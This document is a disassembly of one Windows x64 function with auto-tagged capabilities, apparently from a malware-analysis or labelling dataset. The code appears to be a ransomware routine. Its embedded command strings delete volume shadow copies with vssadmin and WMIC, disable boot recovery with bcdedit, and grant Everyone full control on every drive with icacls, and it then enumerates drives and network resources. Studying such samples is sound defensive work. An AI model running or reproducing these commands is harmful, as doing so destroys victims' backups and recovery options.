Function at 0x7ff788e26018
Capabilities:
Create process on windows
Delete volume shadow copies
Disable automatic windows recovery features
Get common file path
Reference public rsa key

Disassembly:
mov dword [rsp + 8], ecx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x808]
sub rsp, 0x908
mov edi, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rbp - 0x70]
mov rcx, rax
lea ebx, [r8 + 0x28]
mov edx, ebx
call qword [str.Pjn.]
xor r14d, r14d
test eax, eax
jne 0x7ff788e26092
call qword [0x7ff788f7e4f0]
cmp eax, 0x3f0
jne 0x7ff788e26092
lea ecx, [rbx - 0x26]
call qword [0x7ff788f7e3d8]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call qword [str.Pjn.]
mov rcx, qword [rbp - 0x70]
lea rdx, [0x7ff788e33430]
mov r12d, 1
mov r8d, r12d
call fcn.7ff788e258a8
call fcn.7ff788e27120
lea edx, [r12 + 0x63]
mov dword [0x7ff788f7dcf4], eax
lea rcx, [0x7ff788f7dc90]
call qword [0x7ff788f7e398]
lea rbx, [0x7ff788f7de50]
xor edx, edx
mov rcx, rbx
mov r8d, 0x280
call fcn.7ff788e27164
mov edx, 0x140
mov rcx, rbx
call qword [0x7ff788f7e398]
cmp dword [0x7ff788f7dcf4], r12d
lea rdx, str.Documents_and_SettingsDefault_User_
mov word [0x7ff788f7de54], r14w
mov rcx, rbx
je 0x7ff788e2610f
lea rdx, [0x7ff788e40090]
call fcn.7ff788e29d08
lea rcx, [0x7ff788e3e4a0]
call fcn.7ff788e233a4
call fcn.7ff788e25d78
mov ecx, 0x3e8
call qword [0x7ff788f79de0]
mov rcx, rbx
call fcn.7ff788e21ff0
lea eax, [rdi - 4]
test eax, 0xfffffffb
je 0x7ff788e261ed
xor edx, edx
lea rcx, str.cmd.exe__c__WMIC.exe_shadowcopy_delete_
call qword [0x7ff788f7e548]
xor edx, edx
lea rcx, str.cmd.exe__c__vssadmin.exe_Delete_Shadows__all__quiet_
call qword [0x7ff788f7e548]
xor edx, edx
lea rcx, str.cmd.exe__c__bcdedit__set_default_recoveryenabled_No__bcdedit__set_default_
call qword [0x7ff788f7e548]
xor edx, edx
lea rcx, str.cmd.exe__c__bootstatuspolicy_ignoreallfailures_
call qword [0x7ff788f7e548]
call qword [0x7ff788f79e00]
mov esi, eax
mov ebx, r14d
mov edx, esi
mov ecx, ebx
shr edx, cl
test r12b, dl
je 0x7ff788e261e5
lea ecx, [rbx + 0x41]
mov dword [rsp + 0x31], 0x2a5c3a
mov byte [rsp + 0x30], cl
lea rdx, str.icacls__
lea rcx, [rsp + 0x48]
call fcn.7ff788e29ea0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.7ff788e29e00
lea rdx, str.___grant_Everyone:F__T__C__Q
lea rcx, [rsp + 0x48]
call fcn.7ff788e29e00
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WinExec]
add ebx, r12d
cmp ebx, 0x1a
jl 0x7ff788e2618d
cmp dword [0x7ff788f7dcf4], r14d
jne 0x7ff788e26219
cmp edi, 8
je 0x7ff788e2621e
mov qword [rsp + 0x28], r14
lea r8, [0x7ff788e25938]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [0x7ff788f7e4b0]
cmp edi, 8
jne 0x7ff788e26262
mov qword [rsp + 0x28], r14
lea r8, [0x7ff788e25b28]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [0x7ff788f7e4b0]
call qword [0x7ff788f7e498]
mov ecx, eax
mov eax, 0xd1b71759
mul ecx
shr edx, 0xd
imul eax, edx, 0x2710
sub ecx, eax
add ecx, 0xc350
call qword [0x7ff788f79de0]
lea rcx, [0x7ff788e45320]
call fcn.7ff788e23348
mov esi, r14d
lea rbx, [0x7ff788e489d0]
mov r15d, 4
mov r13d, 0x1000
mov r9d, r15d
mov r8d, r13d
mov edx, 0xf429a
xor ecx, ecx
call qword [0x7ff788e41c38]
mov r9d, r15d
mov r8d, r13d
mov edx, 0x2710
mov qword [rbx], rax
xor ecx, ecx
call qword [0x7ff788e41c38]
mov qword [rbx + 8], rax
cmp qword [rbx], r14
je 0x7ff788e26e37
add esi, r12d
add rbx, 0x36e0
cmp esi, 0x5a
jl 0x7ff788e26284
lea r13, [0x7ff788f79e50]
cmp edi, r15d
jne 0x7ff788e26302
mov r9, qword [0x7ff788f7de40]
mov edx, r12d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
mov ecx, 0x6acfc0
call qword [0x7ff788f79de0]
mov ecx, r12d
call qword [0x7ff788f7e520]
cmp edi, 8
je 0x7ff788e26479
mov ecx, r12d
call fcn.7ff788e21910
mov ebx, 0x2710
xor edx, edx
mov r8d, ebx
mov rcx, r13
call fcn.7ff788e27164
mov rdx, r13
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov rcx, r13
call fcn.7ff788e21ff0
mov r8d, ebx
xor edx, edx
mov rcx, r13
call fcn.7ff788e27164
call qword [0x7ff788f79e00]
movdqa xmm0, xmmword [0x7ff788e33500]
xor r15d, r15d
movdqu xmmword [rsp + 0x48], xmm0
mov ebx, r15d
mov dword [rsp + 0x58], r12d
mov r14d, eax
mov qword [rsp + 0x5c], 6
cmp edi, 2
jne 0x7ff788e263ec
mov esi, r15d
mov eax, r14d
mov ecx, esi
shr eax, cl
test r12b, al
je 0x7ff788e263e2
lea eax, [rsi + 0x41]
mov dword [0x7ff788f79e52], 0x3a
mov rcx, r13
mov word [0x7ff788f79e50], ax
call qword [0x7ff788f79e30]
cmp eax, dword [rsp + rbx*4 + 0x48]
jne 0x7ff788e263c3
mov r9, qword [0x7ff788f7de40]
mov edx, r12d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
cmp rbx, 6
jne 0x7ff788e263e2
mov r9, qword [0x7ff788f7de40]
mov edx, r12d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
add esi, r12d
cmp esi, 0x1a
jl 0x7ff788e2637b
jmp 0x7ff788e2645f
mov esi, 0x1a
mov eax, r14d
mov ecx, esi
shr eax, cl
test r12b, al
je 0x7ff788e26458
lea eax, [rsi + 0x41]
mov dword [0x7ff788f79e52], 0x3a
mov rcx, r13
mov word [0x7ff788f79e50], ax
call qword [0x7ff788f79e30]
cmp eax, dword [rsp + rbx*4 + 0x48]
jne 0x7ff788e26439
mov r9, qword [0x7ff788f7de40]
mov edx, r12d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
cmp rbx, 6
jne 0x7ff788e26458
mov r9, qword [0x7ff788f7de40]
mov edx, r12d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
sub esi, r12d
test esi, esi
jg 0x7ff788e263f1
mov edi, dword [rbp + 0x850]
add rbx, r12
cmp rbx, 7
jl 0x7ff788e26373
xor r14d, r14d
lea r15d, [r14 + 4]
mov ecx, 0x9c4
call qword [0x7ff788f79de0]
xor edx, edx
mov qword [rsp + 0x40], r14
lea rcx, [rsp + 0x40]
call fcn.7ff788e2268c
mov rbx, qword [rsp + 0x40]
lea rdx, [rbp - 0x58]
mov ecx, ebx
mov r8d, 0xa
call fcn.7ff788e2a1d8
mov rdx, rbx
mov r9d, r15d
shl rdx, 3
xor ecx, ecx
mov r8d, 0x1000
call qword [0x7ff788e41c38]
mov ebx, 0x3e8
mov qword [rbp - 0x78], rax
mov ecx, ebx
mov r12, rax
mov qword [rax], r14
call qword [0x7ff788f79de0]
mov rdx, r12
lea rcx, [rsp + 0x40]
call fcn.7ff788e2268c
mov ecx, ebx
call qword [0x7ff788f79de0]
mov rbx, qword [rsp + 0x40]
mov r13d, r14d
mov dword [rbp + 0x850], r14d
mov r8d, r14d
test rbx, rbx
je 0x7ff788e26537
lea rdx, [r12 + 4]
mov r9d, 1
mov ecx, dword [rdx]
lea eax, [r13 + 1]
add r8d, r9d
lea rdx, [rdx + 8]
cmp ecx, r9d
cmovne eax, r13d
mov r13d, eax
movsxd rax, r8d
cmp rax, rbx
jb 0x7ff788e26511
mov dword [rbp + 0x850], r13d
mov rcx, 0xffffffffffffffff
mov esi, r13d
mov rax, r15
mul rsi
cmovo rax, rcx
mov rcx, rax
call fcn.7ff788e27838
mov rdi, rax
mov rcx, 0xffffffffffffffff
mov rax, r15
mul rsi
cmovo rax, rcx
mov rcx, rax
call fcn.7ff788e27838
mov r15, rax
mov ecx, r14d
test rbx, rbx
je 0x7ff788e265a7
lea rdx, [r12 + 4]
mov r8, rdi
mov r12d, 1
cmp dword [rdx], r12d
jne 0x7ff788e26594
mov dword [r8], ecx
add r8, 4
add ecx, r12d
add rdx, 8
movsxd rax, ecx
cmp rax, rbx
jb 0x7ff788e26588
mov r12, qword [rbp - 0x78]
call qword [0x7ff788f7e498]
mov ebx, eax
call fcn.7ff788e2a4ec
imul ebx, eax
mov ecx, ebx
call fcn.7ff788e2a518
test r13d, r13d
je 0x7ff788e26729
mov rbx, r15
mov r14, rsi
or r12, 0xffffffffffffffff
call fcn.7ff788e2a4ec
xor edx, edx
div r13d
cmp dword [rdi + rdx*4], r12d
je 0x7ff788e265d1
mov eax, dword [rdi + rdx*4]
mov dword [rbx], eax
add rbx, 4
mov dword [rdi + rdx*4], r12d
sub r14, 1
jne 0x7ff788e265d1
mov r12, qword [rbp - 0x78]
test r13d, r13d
je 0x7ff788e26729
lea edi, [r14 + 1]
lea r13, [0x7ff788f79e50]
movsxd rax, dword [r15]
xor edx, edx
mov ecx, dword [r12 + rax*8]
lea r8d, [rdx + 0x32]
mov dword [rbp + 0x858], ecx
lea rcx, [rsp + 0x48]
call fcn.7ff788e27164
mov r9d, 0x32
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x858]
lea ecx, [r9 - 0x30]
call fcn.7ff788e26f30
mov eax, dword [0x7ff788e33454]
mov ebx, 0x1a
mov dword [rbp + 0x860], eax
movzx eax, word [0x7ff788e33458]
mov word [rbp + 0x864], ax
xor edx, edx
mov r8d, 0x2710
mov rcx, r13
call fcn.7ff788e27164
lea rdx, [0x7ff788e3345c]
mov rcx, r13
call fcn.7ff788e29d6c
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.7ff788e29d08
lea rdx, [0x7ff788e33464]
mov rcx, r13
call fcn.7ff788e29d08
lea rdx, [rbp + 0x860]
mov rcx, r13
call fcn.7ff788e29d08
mov r9, qword [0x7ff788f7de40]
mov edx, edi
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
add word [rbp + 0x860], di
sub rbx, rdi
jne 0x7ff788e26663
xor edx, edx
mov r8d, 0x2710
mov rcx, r13
call fcn.7ff788e27164
lea rdx, [0x7ff788e3345c]
mov rcx, r13
call fcn.7ff788e29d6c
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.7ff788e29d08
mov r9, qword [0x7ff788f7de40]
mov edx, edi
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
add r15, 4
sub rsi, rdi
jne 0x7ff788e2660c
mov r13d, dword [rbp + 0x850]
mov rdx, r12
mov qword [r12], r14
lea rcx, [rsp + 0x40]
call fcn.7ff788e2268c
mov rdi, qword [rsp + 0x40]
mov ebx, r14d
mov r8d, r14d
mov r15d, 1
test rdi, rdi
je 0x7ff788e26771
lea rdx, [r12 + 4]
mov ecx, dword [rdx]
lea eax, [rbx + 1]
add r8d, r15d
lea rdx, [rdx + 8]
cmp ecx, r15d
cmovne eax, ebx
mov ebx, eax
movsxd rax, r8d
cmp rax, rdi
jb 0x7ff788e26755
mov rcx, 0xffffffffffffffff
mov r14d, ebx
mov eax, 4
mul r14
cmovo rax, rcx
mov rcx, rax
call fcn.7ff788e27838
xor r10d, r10d
mov rsi, rax
mov r9d, r10d
mov edx, r10d
test rdi, rdi
je 0x7ff788e267c2
lea r8, [r12 + 4]
cmp dword [r8], r15d
jne 0x7ff788e267b3
mov ecx, r9d
add r9d, r15d
mov dword [rsi + rcx*4], edx
add edx, r15d
add r8, 8
movsxd rax, edx
cmp rax, rdi
jb 0x7ff788e267a5
test ebx, ebx
je 0x7ff788e2692e
mov rbx, rsi
mov ecx, r10d
test r13d, r13d
je 0x7ff788e267ea
mov edx, dword [rbx]
mov rax, rsi
cmp edx, dword [rax]
je 0x7ff788e267ea
add ecx, r15d
add rax, 4
cmp ecx, r13d
jb 0x7ff788e267da
movsxd rax, dword [rbx]
mov edi, 0x32
mov r8d, edi
xor edx, edx
mov ecx, dword [r12 + rax*8]
mov dword [rbp + 0x858], ecx
lea rcx, [rsp + 0x48]
call fcn.7ff788e27164
mov r9d, edi
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x858]
lea ecx, [rdi - 0x30]
call fcn.7ff788e26f30
mov eax, dword [0x7ff788e33454]
mov edi, 0x1a
mov dword [rbp + 0x868], eax
movzx eax, word [0x7ff788e33458]
mov word [rbp + 0x86c], ax
xor edx, edx
lea rcx, [0x7ff788f79e50]
mov r8d, 0x2710
call fcn.7ff788e27164
lea rdx, [0x7ff788e3345c]
lea rcx, [0x7ff788f79e50]
call fcn.7ff788e29d6c
lea rdx, [rsp + 0x48]
lea rcx, [0x7ff788f79e50]
call fcn.7ff788e29d08
lea rdx, [0x7ff788e33464]
lea rcx, [0x7ff788f79e50]
call fcn.7ff788e29d08
lea rdx, [rbp + 0x868]
lea rcx, [0x7ff788f79e50]
call fcn.7ff788e29d08
mov r9, qword [0x7ff788f7de40]
lea rcx, [0x7ff788f79e50]
mov r8, qword [0x7ff788f7dcf8]
mov edx, r15d
call fcn.7ff788e22100
add word [rbp + 0x868], r15w
sub rdi, r15
jne 0x7ff788e26841
lea rdi, [0x7ff788f79e50]
xor edx, edx
mov rcx, rdi
mov r8d, 0x2710
call fcn.7ff788e27164
lea rdx, [0x7ff788e3345c]
mov rcx, rdi
call fcn.7ff788e29d6c
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.7ff788e29d08
mov r9, qword [0x7ff788f7de40]
mov edx, r15d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, rdi
call fcn.7ff788e22100
add rbx, 4
mov r10d, 0
sub r14, r15
jne 0x7ff788e267cd
jmp 0x7ff788e26935
lea rdi, [0x7ff788f79e50]
mov rcx, rsi
call fcn.7ff788e27840
mov esi, 0x2710
mov ecx, esi
call qword [0x7ff788f79de0]
xor r14d, r14d
cmp dword [0x7ff788f7dcf4], r14d
jne 0x7ff788e26d64
mov r8d, r15d
mov dword [rbp + 0x858], r14d
lea rdx, [rbp + 0x858]
xor ecx, ecx
call qword [0x7ff788f7e580]
mov edx, dword [rbp + 0x858]
lea r9d, [r14 + 4]
mov ebx, 0x1000
xor ecx, ecx
mov r8d, ebx
call qword [0x7ff788e41c38]
mov rcx, rax
mov qword [rbp - 0x68], rax
lea r8d, [r14 + 1]
mov r15, rax
lea rdx, [rbp + 0x858]
call qword [0x7ff788f7e580]
mov ecx, dword [r15]
lea r9d, [r14 + 4]
mov r8d, ebx
lea rdx, [rcx + rcx*2]
xor ecx, ecx
shl rdx, 3
call qword [0x7ff788e41c38]
mov edx, 0x4000
lea ecx, [r14 + 0x40]
mov qword [rbp - 0x60], rax
call qword [0x7ff788f79e38]
mov r12d, r14d
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x860], r14d
cmp dword [r15], r14d
jbe 0x7ff788e26d39
xor esi, esi
lea r14, [r15 + 0x14]
mov r13, rax
lea eax, [rsi + 1]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
cmp dword [r14 - 0xc], esi
je 0x7ff788e26d18
mov edi, dword [r14]
lea rdx, [rsp + 0x30]
mov r12d, 0xa
movzx ecx, dil
mov r8d, r12d
mov qword [rsp + 0x30], rsi
mov word [rsp + 0x38], si
call fcn.7ff788e2a208
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.7ff788e29d6c
lea r15, [0x7ff788e33384]
mov rdx, r15
lea rcx, [rsp + 0x48]
call fcn.7ff788e29d08
mov eax, edi
mov qword [rsp + 0x30], rsi
shr eax, 8
lea rdx, [rsp + 0x30]
movzx ebx, al
mov r8d, r12d
mov ecx, ebx
mov word [rsp + 0x38], si
call fcn.7ff788e2a208
lea rcx, [rsp + 0x48]
lea rdx, [0x7ff788e33468]
test ebx, ebx
je 0x7ff788e26a93
lea rdx, [rsp + 0x30]
call fcn.7ff788e29d08
mov rdx, r15
lea rcx, [rsp + 0x48]
call fcn.7ff788e29d08
mov eax, edi
mov qword [rsp + 0x30], rsi
shr eax, 0x10
lea rdx, [rsp + 0x30]
movzx ebx, al
mov r8d, r12d
mov ecx, ebx
mov word [rsp + 0x38], si
call fcn.7ff788e2a208
lea rcx, [rsp + 0x48]
lea rdx, [0x7ff788e33468]
test ebx, ebx
je 0x7ff788e26adb
lea rdx, [rsp + 0x30]
call fcn.7ff788e29d08
mov rdx, r15
lea rcx, [rsp + 0x48]
call fcn.7ff788e29d08
shr edi, 0x18
lea rdx, [rsp + 0x30]
mov ecx, edi
mov qword [rsp + 0x30], rsi
mov r8d, r12d
mov word [rsp + 0x38], si
call fcn.7ff788e2a208
lea rcx, [rsp + 0x48]
lea rdx, [0x7ff788e33468]
test edi, edi
je 0x7ff788e26b1e
lea rdx, [rsp + 0x30]
call fcn.7ff788e29d08
xor edx, edx
lea rcx, [rbp - 0x40]
lea r8d, [rdx + 0x64]
call fcn.7ff788e27164
lea rdx, [0x7ff788e3345c]
lea rcx, [rbp - 0x40]
call fcn.7ff788e29d6c
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call fcn.7ff788e29d08
lea rax, [rbp - 0x40]
mov qword [r13], 2
lea rbx, [0x7ff788f79e50]
mov qword [r13 + 0x18], rax
mov rcx, rbx
mov dword [r13 + 8], esi
xor edx, edx
mov dword [r13 + 0xc], 2
mov r8d, 0x2710
mov qword [r13 + 0x20], rsi
call fcn.7ff788e27164
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.7ff788e29d6c
lea rdx, [0x7ff788e33470]
mov rcx, rbx
call fcn.7ff788e29d08
mov esi, 0x19
lea r12, [0x7ff788f79e50]
xor r13d, r13d
lea r15d, [rsi - 0x18]
mov rcx, r12
mov edi, r13d
mov rbx, r13
call fcn.7ff788e29d88
test rax, rax
je 0x7ff788e26c11
lea rdx, [0x7ff788f79e50]
cmp word [rdx + rbx*2], 0x24
je 0x7ff788e26bf8
mov eax, 1
mov rcx, rdx
add edi, eax
add rbx, rax
call fcn.7ff788e29d88
movsxd rcx, edi
cmp rcx, rax
jb 0x7ff788e26bc8
mov r15d, 1
jmp 0x7ff788e26c0a
mov r15d, 1
mov word [rdx + rbx*2 + 2], r13w
add word [rdx + rbx*2 - 2], r15w
lea r12, [0x7ff788f79e50]
mov r9, qword [0x7ff788f7de40]
mov edx, r15d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r12
call fcn.7ff788e22100
sub rsi, r15
jne 0x7ff788e26bb5
mov r15, qword [rbp - 0x68]
lea rcx, [0x7ff788f7c560]
mov r12d, dword [rbp + 0x860]
xor edx, edx
mov r13, qword [rbp - 0x80]
mov r8d, 0xfa0
call fcn.7ff788e27164
lea rdx, [0x7ff788f7c560]
mov rcx, r13
call fcn.7ff788e23240
xor edx, edx
lea rcx, [0x7ff788f79e50]
mov r8d, 0x2710
call fcn.7ff788e27164
lea edi, [rsi + 1]
xor ebx, ebx
lea rcx, [0x7ff788f7c560]
mov esi, edi
call fcn.7ff788e29d88
cmp rax, rdi
jbe 0x7ff788e26d13
lea rdi, [0x7ff788f7c562]
mov r15d, esi
lea r13, [0x7ff788f79e50]
movzx eax, word [rdi]
cmp ax, 0x3b
je 0x7ff788e26cb6
mov word [r13 + rbx*2], ax
add rbx, r15
jmp 0x7ff788e26ce9
mov rcx, r13
call fcn.7ff788e21ff0
mov r9, qword [0x7ff788f7de40]
mov edx, r15d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
xor edx, edx
mov r8d, 0x2710
mov rcx, r13
call fcn.7ff788e27164
xor ebx, ebx
lea rcx, [0x7ff788f7c560]
add esi, r15d
add rdi, 2
call fcn.7ff788e29d88
movsxd rcx, esi
cmp rcx, rax
jb 0x7ff788e26ca2
mov r15, qword [rbp - 0x68]
mov eax, 1
mov r13, qword [rbp - 0x80]
jmp 0x7ff788e26d16
mov rax, rdi
xor esi, esi
add r12d, eax
add r14, 0x18
mov dword [rbp + 0x860], r12d
cmp r12d, dword [r15]
jb 0x7ff788e269f8
mov r13d, dword [rbp + 0x850]
xor r14d, r14d
mov esi, 0x8000
xor edx, edx
mov r8d, esi
mov rcx, r15
call qword [0x7ff788f7e5d8]
mov rcx, qword [rbp - 0x60]
mov r8d, esi
xor edx, edx
call qword [0x7ff788f7e5d8]
mov r12, qword [rbp - 0x78]
jmp 0x7ff788e26e27
mov edx, 0x4000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x7d0
mov rbx, rax
call fcn.7ff788e27164
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.7ff788e23240
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.7ff788e27164
lea rcx, [rbp + 0x30]
mov rbx, r14
mov esi, r15d
call fcn.7ff788e29d88
cmp rax, r15
jbe 0x7ff788e26e27
lea rdi, [rbp + 0x32]
lea r13, [0x7ff788f79e50]
movzx eax, word [rdi]
cmp ax, 0x3b
je 0x7ff788e26dd4
mov word [r13 + rbx*2], ax
add rbx, r15
jmp 0x7ff788e26e08
mov rcx, r13
call fcn.7ff788e21ff0
mov r9, qword [0x7ff788f7de40]
mov edx, r15d
mov r8, qword [0x7ff788f7dcf8]
mov rcx, r13
call fcn.7ff788e22100
xor edx, edx
mov r8d, 0x2710
mov rcx, r13
call fcn.7ff788e27164
mov rbx, r14
lea rcx, [rbp + 0x30]
add esi, r15d
add rdi, 2
call fcn.7ff788e29d88
movsxd rcx, esi
cmp rcx, rax
jb 0x7ff788e26dc0
mov r13d, dword [rbp + 0x850]
mov ecx, 0xc350
call qword [0x7ff788f79de0]
jmp 0x7ff788e26729
add rsp, 0x908
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret